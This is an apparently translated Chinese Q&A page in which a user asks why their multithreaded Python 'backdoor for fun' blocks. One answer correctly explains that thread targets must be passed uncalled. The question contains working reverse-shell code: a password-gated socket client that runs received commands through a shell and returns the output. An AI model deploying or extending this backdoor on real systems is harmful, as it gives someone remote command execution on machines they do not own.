Question

我正在尝试一个我为了娱乐而制作的后门程序，它是多线程的，但是只有firs线程被初始化，然后程序的其余部分被阻塞，直到函数结束。它应该每10秒打印一次时间，但同时运行后门。

我使用netcat与脚本进行通信。终端中的“ nc -l 1234”

我尝试在初始化后立即打印，但没有打印任何内容。

如果我首先初始化另一个线程，则另一个线程被阻塞。

第一个线程函数。必须在下一个开始之前结束。

导入和大多数变量，包括锁。

import socket
import subprocess
import threading
import time

port = 1234
passw = 'Password'
host = 'localhost'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print_lock = threading.Lock()
sleep_lock = threading.Lock()

功能

def clock():
    with print_lock:
        print(time.time())
    with sleep_lock:
        time.sleep(10)
    clock()

def login():
    s.send("Login > ".encode('utf-8'))
    usrPassw = s.recv(1024)

    if(usrPassw.decode('utf-8').strip() == passw):
        s.send("Successfully Connected!\n".encode('utf-8'))
        s.send("> ".encode('utf-8'))
        revShell()
    else:
        s.send("Wrong Password!\n".encode('utf-8'))
        login()

def revShell():
    global s
    while True:
        inData = s.recv(1024)

        if(inData.decode('utf-8').strip() == 'logout'):
            break

        sp = subprocess.Popen(inData, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
        output = sp.stdout.read() + sp.stderr.read()
        s.send(output.encode('utf-8'))
        s.send('> '.encode('utf-8'))

这已初始化

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

这不是

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

我希望两个线程同时运行，但是它们不会同时运行，第一个阻塞主线程，第二个线程要初始化。

Answer 1

这是问题所在，在“ threading.Thread”中，“ target”参数应该是函数名，不要在函数后面加上括号：

更改这些

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

收件人：

tt = threading.Thread(target = clock, name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login, name = "Backdoor Thread")
bdt.start()

Answer 2

您尚未提供线程实例 init （），因此我们有点茫然。

但是，通常的方法是

子类threading.Thread，并在实例的 init （）函数中，确保您调用threading.Thread.__init__(self)
在您的__main__()例程中，调用os.fork()，然后在子进程中调用run()。

我在https://github.com/jmcp/jfy-monitor/blob/master/jfymonitor.py有一个实用的例子

如何修复被功能阻止的python脚本，即使它是多线程的

2 个答案: